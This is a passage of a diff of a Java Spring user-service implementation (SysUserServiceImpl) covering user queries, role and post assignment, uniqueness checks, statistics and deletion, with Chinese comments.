deptId 部门ID - * @return 用户信息集合信息 - */ - @Override - public List selectUserListByDept(Long deptId) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(SysUser::getDeptId, deptId); - lqw.orderByAsc(SysUser::getUserId); - return baseMapper.selectVoList(lqw); - } - - /** - * 获取用户统计数据 - * @param user - * @return - */ - @Override - public UserSumVo selectUserSum(SysUserBo user) { - if (user == null) { - throw new IllegalArgumentException("User parameter cannot be null"); - } - - // 确保 buildQueryWrapper 方法生成的查询条件是安全的 - Wrapper lqw = buildQueryWrapper(user); - List list = baseMapper.selectALLList(lqw); - - if (list == null) { - list = Collections.emptyList(); - } - - UserSumVo userSumVo = new UserSumVo(); - int zrsCount = list.size(); - int zcyhCount = 0; - int tyyhCount = 0; - BigDecimal zyeSum = BigDecimal.ZERO; - - for (SysUserVo f : list) { - if ("0".equals(f.getStatus())) { - zcyhCount++; - } else if ("1".equals(f.getStatus())) { - tyyhCount++; - } - if (f.getYue() != null) { - zyeSum = zyeSum.add(new BigDecimal(String.valueOf(f.getYue()))); - } - } - - userSumVo.setZrsCount((long) zrsCount); - userSumVo.setZcyhCount((long) zcyhCount); - userSumVo.setTyyhCount((long) tyyhCount); - userSumVo.setZyeSum(zyeSum); - return userSumVo; - } - - /** - * 通过用户ID查询用户账户 - * - * @param userId 用户ID - * @return 用户账户 - */ - @Cacheable(cacheNames = CacheNames.SYS_USER_NAME, key = "#userId") - @Override - public String selectUserNameById(Long userId) { - SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysUser::getUserName).eq(SysUser::getUserId, userId)); - return ObjectUtils.notNullGetter(sysUser, SysUser::getUserName); - } - - /** - * 通过用户ID查询用户账户 - * - * @param userId 用户ID - * @return 用户账户 - */ - @Override - @Cacheable(cacheNames = CacheNames.SYS_NICKNAME, key = "#userId") - public String selectNicknameById(Long userId) { - SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysUser::getNickName).eq(SysUser::getUserId, userId)); - return ObjectUtils.notNullGetter(sysUser, SysUser::getNickName); - } - - /** - * 通过用户ID查询用户账户 - * - * @param userIds 用户ID 多个用逗号隔开 - * @return 用户账户 - */ - @Override - public String selectNicknameByIds(String userIds) { - List list = new ArrayList<>(); - for (Long id : StringUtils.splitTo(userIds, Convert::toLong)) { - String nickname = SpringUtils.getAopProxy(this).selectNicknameById(id); - if (StringUtils.isNotBlank(nickname)) { - list.add(nickname); - } - } - return String.join(StringUtils.SEPARATOR, list); - } - - /** - * 通过用户ID查询用户手机号 - * - * @param userId 用户id - * @return 用户手机号 - */ - @Override - public String selectPhonenumberById(Long userId) { - SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysUser::getPhonenumber).eq(SysUser::getUserId, userId)); - return ObjectUtils.notNullGetter(sysUser, SysUser::getPhonenumber); - } - - /** - * 通过用户ID查询用户邮箱 - * - * @param userId 用户id - * @return 用户邮箱 - */ - @Override - public String selectEmailById(Long userId) { - SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysUser::getEmail).eq(SysUser::getUserId, userId)); - return ObjectUtils.notNullGetter(sysUser, SysUser::getEmail); - } - - /** - * 通过用户ID查询用户列表 - * - * @param userIds 用户ids - * @return 用户列表 - */ - @Override - public List selectListByIds(List userIds) { - if (CollUtil.isEmpty(userIds)) { - return List.of(); - } - List list = baseMapper.selectVoList(new LambdaQueryWrapper() - .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName, SysUser::getEmail, SysUser::getPhonenumber) - .eq(SysUser::getStatus, SystemConstants.NORMAL) - .in(SysUser::getUserId, userIds)); - return BeanUtil.copyToList(list, UserDTO.class); - } - - /** - * 通过角色ID查询用户ID - * - * @param roleIds 角色ids - * @return 用户ids - */ - @Override - public List selectUserIdsByRoleIds(List roleIds) { - if (CollUtil.isEmpty(roleIds)) { - return List.of(); - } - List userRoles = userRoleMapper.selectList( - new LambdaQueryWrapper().in(SysUserRole::getRoleId, roleIds)); - return StreamUtils.toList(userRoles, SysUserRole::getUserId); - } - - /** - * 通过角色ID查询用户 - * - * @param roleIds 角色ids - * @return 用户 - */ - @Override - public List selectUsersByRoleIds(List roleIds) { - if (CollUtil.isEmpty(roleIds)) { - return List.of(); - } - - // 通过角色ID获取用户角色信息 - List userRoles = userRoleMapper.selectList( - new LambdaQueryWrapper().in(SysUserRole::getRoleId, roleIds)); - - // 获取用户ID列表 - Set userIds = StreamUtils.toSet(userRoles, SysUserRole::getUserId); - - return selectListByIds(new ArrayList<>(userIds)); - } - - /** - * 通过部门ID查询用户 - * - * @param deptIds 部门ids - * @return 用户 - */ - @Override - public List selectUsersByDeptIds(List deptIds) { - if (CollUtil.isEmpty(deptIds)) { - return List.of(); - } - List list = baseMapper.selectVoList(new LambdaQueryWrapper() - .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName, SysUser::getEmail, SysUser::getPhonenumber) - .eq(SysUser::getStatus, SystemConstants.NORMAL) - .in(SysUser::getDeptId, deptIds)); - return BeanUtil.copyToList(list, UserDTO.class); - } - - @Override - public List getOrderTypeIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List orderTypeIds = roleMapper.selectList(new LambdaQueryWrapper().in(SysRole::getRoleId, roleIds)).stream().map(SysRole::getOrderType).collect(Collectors.toList()); - // 使用 StringBuilder 拼接字符串 - StringBuilder sb = new StringBuilder(); - for (String orderType : orderTypeIds) { - sb.append(orderType).append(","); - } - // 去除最后一个多余的逗号 - if (sb.length() > 0) { - sb.setLength(sb.length() - 1); - } - List getOrderTypeIds = Arrays.stream(sb.toString().split(",")).map(Long::parseLong).collect(Collectors.toList()); - return getOrderTypeIds.stream().distinct().collect(Collectors.toList()); - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.dto.UserDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.UserService; +import org.dromara.common.core.utils.*; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.helper.DataBaseHelper; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.*; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.*; +import org.dromara.system.mapper.*; +import org.dromara.system.service.ISysUserService; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.math.BigDecimal; +import java.util.*; +import java.util.stream.Collectors; + +/** + * 用户 业务层处理 + * + * @author Lion Li + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class SysUserServiceImpl implements ISysUserService, UserService { + + private final SysUserMapper baseMapper; + private final SysDeptMapper deptMapper; + private final SysRoleMapper roleMapper; + private final SysPostMapper postMapper; + private final SysUserRoleMapper userRoleMapper; + private final SysUserPostMapper userPostMapper; + private final SysPictureMapper pictureMapper; + + @Override + public TableDataInfo selectPageUserList(SysUserBo user, PageQuery pageQuery) { + Page page = baseMapper.selectPageUserList(pageQuery.build(), this.buildQueryWrapper(user)); + return TableDataInfo.build(page); + } + + /** + * 分页查询用户列表 + * + * @param user + * @param pageQuery + * @return + */ + @Override + public TableDataInfo selectPageGetUserList(SysUserBo user, PageQuery pageQuery) { + Page page = baseMapper.selectPageUserList1(pageQuery.build(), this.buildQueryWrapper1(user)); + return TableDataInfo.build(page); + } + + /** 获取技术列表 + * @param user + * @param pageQuery + * @return + */ + @Override + public TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery) { + Page page = baseMapper.selectPageUserList2(pageQuery.build(), this.buildQueryWrapper1(user)); + return TableDataInfo.build(page); + } + + /** + * 分页查询用户列表 + * + * @param bo + * @param pageQuery + * @return + */ + @Override + public TableDataInfo selectPageList(SysUserBo bo, PageQuery pageQuery) { + Page page = baseMapper.selectPageUserList2(pageQuery.build(), this.buildQueryWrapper1(bo)); + //统计该用户作品数量 + page.getRecords().forEach(r -> r.setWorkNum(pictureMapper.selectCount(new LambdaQueryWrapper().eq(SysPicture::getUserId, r.getUserId())))); + + //获取该用户最新的两个作品对象 + page.getRecords().forEach(r -> { + List pictures = pictureMapper.selectVoList(new LambdaQueryWrapper().eq(SysPicture::getUserId, r.getUserId()).orderByDesc(SysPicture::getCreateTime).last("limit 3")); + r.setPictures(pictures); + }); + return TableDataInfo.build(page); + } + + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + public List selectUserExportList(SysUserBo user) { + return baseMapper.selectUserExportList(this.buildQueryWrapper(user)); + } + + private Wrapper buildQueryWrapper(SysUserBo user) { + Map params = user.getParams(); + QueryWrapper wrapper = Wrappers.query(); + wrapper.eq("u.del_flag", SystemConstants.NORMAL) + .eq(ObjectUtil.isNotNull(user.getUserId()), "u.user_id", user.getUserId()) + .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) + .like(StringUtils.isNotBlank(user.getRealName()), "u.real_name", user.getRealName()) + .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) + .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) + .like(StringUtils.isNotBlank(user.getType()), "u.type", user.getType()) + .eq(user.getWork() != null, "u.work", user.getWork()) + .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + "u.create_time", params.get("beginTime"), params.get("endTime")) + .and(ObjectUtil.isNotNull(user.getDeptId()), w -> { + List deptList = deptMapper.selectListByParentId(user.getDeptId()); + List ids = StreamUtils.toList(deptList, SysDept::getDeptId); + ids.add(user.getDeptId()); + w.in("u.dept_id", ids); + }).orderByAsc("u.user_id"); + if (StringUtils.isNotBlank(user.getExcludeUserIds())) { + wrapper.notIn("u.user_id", StringUtils.splitTo(user.getExcludeUserIds(), Convert::toLong)); + } + return wrapper; + } + + private Wrapper buildQueryWrapper1(SysUserBo user) { + Map params = user.getParams(); + QueryWrapper wrapper = Wrappers.query(); + + wrapper.eq("u.del_flag", SystemConstants.NORMAL) + .eq(ObjectUtil.isNotNull(user.getIdentity()), "u.identity", user.getIdentity()) + .eq(ObjectUtil.isNotNull(user.getIsFty()), "u.is_fty", user.getIsFty()) + .eq(ObjectUtil.isNotNull(user.getUserId()), "u.user_id", user.getUserId()) + .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) + .like(StringUtils.isNotBlank(user.getRealName()), "u.real_name", user.getRealName()) + .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) + .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) + .like(StringUtils.isNotBlank(user.getType()), "u.type", user.getType()) + .eq(user.getWork() != null, "u.work", user.getWork()) + .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + "u.create_time", params.get("beginTime"), params.get("endTime")) + .and(ObjectUtil.isNotNull(user.getDeptId()), w -> { + List deptList = deptMapper.selectList(new LambdaQueryWrapper() + .select(SysDept::getDeptId) + .apply(DataBaseHelper.findInSet(user.getDeptId(), "ancestors"))); + List ids = StreamUtils.toList(deptList, SysDept::getDeptId); + ids.add(user.getDeptId()); + w.in("u.dept_id", ids); + }).and(ObjectUtil.isNotNull(user.getDeptIds()), w -> { + w.in("u.dept_id", user.getDeptIds()); + }).orderByAsc("u.user_id"); + if (StringUtils.isNotBlank(user.getExcludeUserIds())) { + wrapper.notIn("u.user_id", StringUtils.splitTo(user.getExcludeUserIds(), Convert::toLong)); + } + return wrapper; + } + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + public TableDataInfo selectAllocatedList(SysUserBo user, PageQuery pageQuery) { + QueryWrapper wrapper = Wrappers.query(); + wrapper.eq("u.del_flag", SystemConstants.NORMAL) + .eq(ObjectUtil.isNotNull(user.getRoleId()), "r.role_id", user.getRoleId()) + .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) + .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) + .eq(StringUtils.isNotBlank(user.getStatus()), "u.status", user.getStatus()) + .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) + .orderByAsc("u.user_id"); + Page page = baseMapper.selectAllocatedList(pageQuery.build(), wrapper); + return TableDataInfo.build(page); + } + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + @Override + public TableDataInfo selectUnallocatedList(SysUserBo user, PageQuery pageQuery) { + List userIds = userRoleMapper.selectUserIdsByRoleId(user.getRoleId()); + QueryWrapper wrapper = Wrappers.query(); + if(ObjectUtil.isNotNull(user.getDeptId())){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors,user.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(user.getDeptId()); + wrapper.in(user.getDeptId() != null,"u.dept_id",deptIds); + } + wrapper.eq("u.del_flag", SystemConstants.NORMAL) + .and(w -> w.ne("r.role_id", user.getRoleId()).or().isNull("r.role_id")) + .notIn(CollUtil.isNotEmpty(userIds), "u.user_id", userIds) + .like(StringUtils.isNotBlank(user.getUserName()), "u.user_name", user.getUserName()) + .like(StringUtils.isNotBlank(user.getNickName()), "u.nick_name", user.getNickName()) + .like(StringUtils.isNotBlank(user.getPhonenumber()), "u.phonenumber", user.getPhonenumber()) + .orderByAsc("u.user_id"); + Page page = baseMapper.selectUnallocatedList(pageQuery.build(), wrapper); + return TableDataInfo.build(page); + } + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + @Override + public SysUserVo selectUserByUserName(String userName) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, userName)); + } + + /** + * 通过手机号查询用户 + * + * @param phonenumber 手机号 + * @return 用户对象信息 + */ + @Override + public SysUserVo selectUserByPhonenumber(String phonenumber) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getPhonenumber, phonenumber)); + } + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + @Override + public SysUserVo selectUserById(Long userId) { + SysUserVo user = baseMapper.selectVoById(userId); + if (ObjectUtil.isNull(user)) { + return user; + } + user.setRoles(roleMapper.selectRolesByUserId(user.getUserId())); + return user; + } + + /** + * 通过用户ID串查询用户 + * + * @param userIds 用户ID串 + * @param deptId 部门id + * @return 用户列表信息 + */ + @Override + public List selectUserByIds(List userIds, Long deptId) { + return baseMapper.selectUserList(new LambdaQueryWrapper() + .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName) + .eq(SysUser::getStatus, SystemConstants.NORMAL) + .eq(ObjectUtil.isNotNull(deptId), SysUser::getDeptId, deptId) + .in(CollUtil.isNotEmpty(userIds), SysUser::getUserId, userIds)); + } + + /** + * 查询用户所属角色组 + * + * @param userId 用户ID + * @return 结果 + */ + @Override + public String selectUserRoleGroup(Long userId) { + List list = roleMapper.selectRolesByUserId(userId); + if (CollUtil.isEmpty(list)) { + return StringUtils.EMPTY; + } + return StreamUtils.join(list, SysRoleVo::getRoleName); + } + + /** + * 查询用户所属岗位组 + * + * @param userId 用户ID + * @return 结果 + */ + @Override + public String selectUserPostGroup(Long userId) { + List list = postMapper.selectPostsByUserId(userId); + if (CollUtil.isEmpty(list)) { + return StringUtils.EMPTY; + } + return StreamUtils.join(list, SysPostVo::getPostName); + } + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean checkUserNameUnique(SysUserBo user) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysUser::getUserName, user.getUserName()) + .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); + return !exist; + } + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + */ + @Override + public boolean checkPhoneUnique(SysUserBo user) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysUser::getPhonenumber, user.getPhonenumber()) + .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); + return !exist; + } + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + */ + @Override + public boolean checkEmailUnique(SysUserBo user) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysUser::getEmail, user.getEmail()) + .ne(ObjectUtil.isNotNull(user.getUserId()), SysUser::getUserId, user.getUserId())); + return !exist; + } + + /** + * 校验用户是否允许操作 + * + * @param userId 用户ID + */ + @Override + public void checkUserAllowed(Long userId) { + if (ObjectUtil.isNotNull(userId) && LoginHelper.isSuperAdmin(userId)) { + throw new ServiceException("不允许操作超级管理员用户"); + } + } + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + @Override + public void checkUserDataScope(Long userId) { + if (ObjectUtil.isNull(userId)) { + return; + } + if (LoginHelper.isSuperAdmin()) { + return; + } + if (baseMapper.countUserById(userId) == 0) { + throw new ServiceException("没有权限访问用户数据!"); + } + } + + /** + * 新增保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int insertUser(SysUserBo user) { + SysUser sysUser = MapstructUtils.convert(user, SysUser.class); + // 新增用户信息 + int rows = baseMapper.insert(sysUser); + user.setUserId(sysUser.getUserId()); + // 新增用户岗位关联 + insertUserPost(user, false); + // 新增用户与角色管理 + insertUserRole(user, false); + return rows; + } + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + public boolean registerUser(SysUserBo user, String tenantId) { + user.setCreateBy(0L); + user.setUpdateBy(0L); + SysUser sysUser = MapstructUtils.convert(user, SysUser.class); + sysUser.setTenantId(tenantId); + return baseMapper.insert(sysUser) > 0; + } + + /** + * 修改保存用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @CacheEvict(cacheNames = CacheNames.SYS_NICKNAME, key = "#user.userId") + @Transactional(rollbackFor = Exception.class) + public int updateUser(SysUserBo user) { + // 新增用户与角色管理 + insertUserRole(user, true); + // 新增用户与岗位管理 + insertUserPost(user, true); + SysUser sysUser = MapstructUtils.convert(user, SysUser.class); + // 防止错误更新后导致的数据误删除 + int flag = baseMapper.updateById(sysUser); + if (flag < 1) { + throw new ServiceException("修改用户" + user.getUserName() + "信息失败"); + } + return flag; + } + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public void insertUserAuth(Long userId, Long[] roleIds) { + insertUserRole(userId, roleIds, true); + } + + /** + * 修改用户状态 + * + * @param userId 用户ID + * @param status 帐号状态 + * @return 结果 + */ + @Override + public int updateUserStatus(Long userId, String status) { + return baseMapper.update(null, + new LambdaUpdateWrapper() + .set(SysUser::getStatus, status) + .eq(SysUser::getUserId, userId)); + } + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_NICKNAME, key = "#user.userId") + @Override + public int updateUserProfile(SysUserBo user) { + return baseMapper.update(null, + new LambdaUpdateWrapper() + .set(ObjectUtil.isNotNull(user.getNickName()), SysUser::getNickName, user.getNickName()) + .set(SysUser::getPhonenumber, user.getPhonenumber()) + .set(SysUser::getEmail, user.getEmail()) + .set(SysUser::getSex, user.getSex()) + .eq(SysUser::getUserId, user.getUserId())); + } + + /** + * 修改用户头像 + * + * @param userId 用户ID + * @param avatar 头像地址 + * @return 结果 + */ + @Override + public boolean updateUserAvatar(Long userId, Long avatar) { + return baseMapper.update(null, + new LambdaUpdateWrapper() + .set(SysUser::getAvatar, avatar) + .eq(SysUser::getUserId, userId)) > 0; + } + + /** + * 重置用户密码 + * + * @param userId 用户ID + * @param password 密码 + * @return 结果 + */ + @Override + public int resetUserPwd(Long userId, String password) { + return baseMapper.update(null, + new LambdaUpdateWrapper() + .set(SysUser::getPassword, password) + .eq(SysUser::getUserId, userId)); + } + + /** + * 新增用户角色信息 + * + * @param user 用户对象 + * @param clear 清除已存在的关联数据 + */ + private void insertUserRole(SysUserBo user, boolean clear) { + this.insertUserRole(user.getUserId(), user.getRoleIds(), clear); + } + + /** + * 新增用户岗位信息 + * + * @param user 用户对象 + * @param clear 清除已存在的关联数据 + */ + private void insertUserPost(SysUserBo user, boolean clear) { + Long[] posts = user.getPostIds(); + if (ArrayUtil.isNotEmpty(posts)) { + if (clear) { + // 删除用户与岗位关联 + userPostMapper.delete(new LambdaQueryWrapper().eq(SysUserPost::getUserId, user.getUserId())); + } + // 新增用户与岗位管理 + List list = StreamUtils.toList(List.of(posts), postId -> { + SysUserPost up = new SysUserPost(); + up.setUserId(user.getUserId()); + up.setPostId(postId); + return up; + }); + userPostMapper.insertBatch(list); + } + } + + /** + * 新增用户角色信息 + * + * @param userId 用户ID + * @param roleIds 角色组 + * @param clear 清除已存在的关联数据 + */ + private void insertUserRole(Long userId, Long[] roleIds, boolean clear) { + if (ArrayUtil.isNotEmpty(roleIds)) { + List roleList = new ArrayList<>(List.of(roleIds)); + if (!LoginHelper.isSuperAdmin(userId)) { + roleList.remove(SystemConstants.SUPER_ADMIN_ID); + } + // 判断是否具有此角色的操作权限 + List roles = roleMapper.selectRoleList( + new QueryWrapper().in("r.role_id", roleList)); + if (CollUtil.isEmpty(roles)) { + throw new ServiceException("没有权限访问角色的数据"); + } + if (clear) { + // 删除用户与角色关联 + userRoleMapper.delete(new LambdaQueryWrapper().eq(SysUserRole::getUserId, userId)); + } + // 新增用户与角色管理 + List list = StreamUtils.toList(roleList, roleId -> { + SysUserRole ur = new SysUserRole(); + ur.setUserId(userId); + ur.setRoleId(roleId); + return ur; + }); + userRoleMapper.insertBatch(list); + } + } + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteUserById(Long userId) { + // 删除用户与角色关联 + userRoleMapper.delete(new LambdaQueryWrapper().eq(SysUserRole::getUserId, userId)); + // 删除用户与岗位表 + userPostMapper.delete(new LambdaQueryWrapper().eq(SysUserPost::getUserId, userId)); + // 防止更新失败导致的数据删除 + int flag = baseMapper.deleteById(userId); + if (flag < 1) { + throw new ServiceException("删除用户失败!"); + } + return flag; + } + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public int deleteUserByIds(Long[] userIds) { + for (Long userId : userIds) { + checkUserAllowed(userId); + checkUserDataScope(userId); + } + List ids = List.of(userIds); + // 删除用户与角色关联 + userRoleMapper.delete(new LambdaQueryWrapper().in(SysUserRole::getUserId, ids)); + // 删除用户与岗位表 + userPostMapper.delete(new LambdaQueryWrapper().in(SysUserPost::getUserId, ids)); + // 防止更新失败导致的数据删除 + int flag = baseMapper.deleteByIds(ids); + if (flag < 1) { + throw new ServiceException("删除用户失败!"); + } + return flag; + } + + /** + * 通过部门id查询当前部门所有用户 + * + * @param deptId 部门ID + * @return 用户信息集合信息 + */ + @Override + public List selectUserListByDept(Long deptId) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(SysUser::getDeptId, deptId); + lqw.orderByAsc(SysUser::getUserId); + return baseMapper.selectVoList(lqw); + } + + /** + * 获取用户统计数据 + * @param user + * @return + */ + @Override + public UserSumVo selectUserSum(SysUserBo user) { + if (user == null) { + throw new IllegalArgumentException("User parameter cannot be null"); + } + + // 确保 buildQueryWrapper 方法生成的查询条件是安全的 + Wrapper lqw = buildQueryWrapper(user); + List list = baseMapper.selectALLList(lqw); + + if (list == null) { + list = Collections.emptyList(); + } + + UserSumVo userSumVo = new UserSumVo(); + int zrsCount = list.size(); + int zcyhCount = 0; + int tyyhCount = 0; + BigDecimal zyeSum = BigDecimal.ZERO; + + for (SysUserVo f : list) { + if ("0".equals(f.getStatus())) { + zcyhCount++; + } else if ("1".equals(f.getStatus())) { + tyyhCount++; + } + if (f.getYue() != null) { + zyeSum = zyeSum.add(new BigDecimal(String.valueOf(f.getYue()))); + } + } + + userSumVo.setZrsCount((long) zrsCount); + userSumVo.setZcyhCount((long) zcyhCount); + userSumVo.setTyyhCount((long) tyyhCount); + userSumVo.setZyeSum(zyeSum); + return userSumVo; + } + + /** + * 通过用户ID查询用户账户 + * + * @param userId 用户ID + * @return 用户账户 + */ + @Cacheable(cacheNames = CacheNames.SYS_USER_NAME, key = "#userId") + @Override + public String selectUserNameById(Long userId) { + SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysUser::getUserName).eq(SysUser::getUserId, userId)); + return ObjectUtils.notNullGetter(sysUser, SysUser::getUserName); + } + + /** + * 通过用户ID查询用户账户 + * + * @param userId 用户ID + * @return 用户账户 + */ + @Override + @Cacheable(cacheNames = CacheNames.SYS_NICKNAME, key = "#userId") + public String selectNicknameById(Long userId) { + SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysUser::getNickName).eq(SysUser::getUserId, userId)); + return ObjectUtils.notNullGetter(sysUser, SysUser::getNickName); + } + + /** + * 通过用户ID查询用户账户 + * + * @param userIds 用户ID 多个用逗号隔开 + * @return 用户账户 + */ + @Override + public String selectNicknameByIds(String userIds) { + List list = new ArrayList<>(); + for (Long id : StringUtils.splitTo(userIds, Convert::toLong)) { + String nickname = SpringUtils.getAopProxy(this).selectNicknameById(id); + if (StringUtils.isNotBlank(nickname)) { + list.add(nickname); + } + } + return String.join(StringUtils.SEPARATOR, list); + } + + /** + * 通过用户ID查询用户手机号 + * + * @param userId 用户id + * @return 用户手机号 + */ + @Override + public String selectPhonenumberById(Long userId) { + SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysUser::getPhonenumber).eq(SysUser::getUserId, userId)); + return ObjectUtils.notNullGetter(sysUser, SysUser::getPhonenumber); + } + + /** + * 通过用户ID查询用户邮箱 + * + * @param userId 用户id + * @return 用户邮箱 + */ + @Override + public String selectEmailById(Long userId) { + SysUser sysUser = baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysUser::getEmail).eq(SysUser::getUserId, userId)); + return ObjectUtils.notNullGetter(sysUser, SysUser::getEmail); + } + + /** + * 通过用户ID查询用户列表 + * + * @param userIds 用户ids + * @return 用户列表 + */ + @Override + public List selectListByIds(List userIds) { + if (CollUtil.isEmpty(userIds)) { + return List.of(); + } + List list = baseMapper.selectVoList(new LambdaQueryWrapper() + .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName, SysUser::getEmail, SysUser::getPhonenumber) + .eq(SysUser::getStatus, SystemConstants.NORMAL) + .in(SysUser::getUserId, userIds)); + return BeanUtil.copyToList(list, UserDTO.class); + } + + /** + * 通过角色ID查询用户ID + * + * @param roleIds 角色ids + * @return 用户ids + */ + @Override + public List selectUserIdsByRoleIds(List roleIds) { + if (CollUtil.isEmpty(roleIds)) { + return List.of(); + } + List userRoles = userRoleMapper.selectList( + new LambdaQueryWrapper().in(SysUserRole::getRoleId, roleIds)); + return StreamUtils.toList(userRoles, SysUserRole::getUserId); + } + + /** + * 通过角色ID查询用户 + * + * @param roleIds 角色ids + * @return 用户 + */ + @Override + public List selectUsersByRoleIds(List roleIds) { + if (CollUtil.isEmpty(roleIds)) { + return List.of(); + } + + // 通过角色ID获取用户角色信息 + List userRoles = userRoleMapper.selectList( + new LambdaQueryWrapper().in(SysUserRole::getRoleId, roleIds)); + + // 获取用户ID列表 + Set userIds = StreamUtils.toSet(userRoles, SysUserRole::getUserId); + + return selectListByIds(new ArrayList<>(userIds)); + } + + /** + * 通过部门ID查询用户 + * + * @param deptIds 部门ids + * @return 用户 + */ + @Override + public List selectUsersByDeptIds(List deptIds) { + if (CollUtil.isEmpty(deptIds)) { + return List.of(); + } + List list = baseMapper.selectVoList(new LambdaQueryWrapper() + .select(SysUser::getUserId, SysUser::getUserName, SysUser::getNickName, SysUser::getEmail, SysUser::getPhonenumber) + .eq(SysUser::getStatus, SystemConstants.NORMAL) + .in(SysUser::getDeptId, deptIds)); + return BeanUtil.copyToList(list, UserDTO.class); + } + + @Override + public List getOrderTypeIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List orderTypeIds = roleMapper.selectList(new LambdaQueryWrapper().in(SysRole::getRoleId, roleIds)).stream().map(SysRole::getOrderType).collect(Collectors.toList()); + // 使用 StringBuilder 拼接字符串 + StringBuilder sb = new StringBuilder(); + for (String orderType : orderTypeIds) { + sb.append(orderType).append(","); + } + // 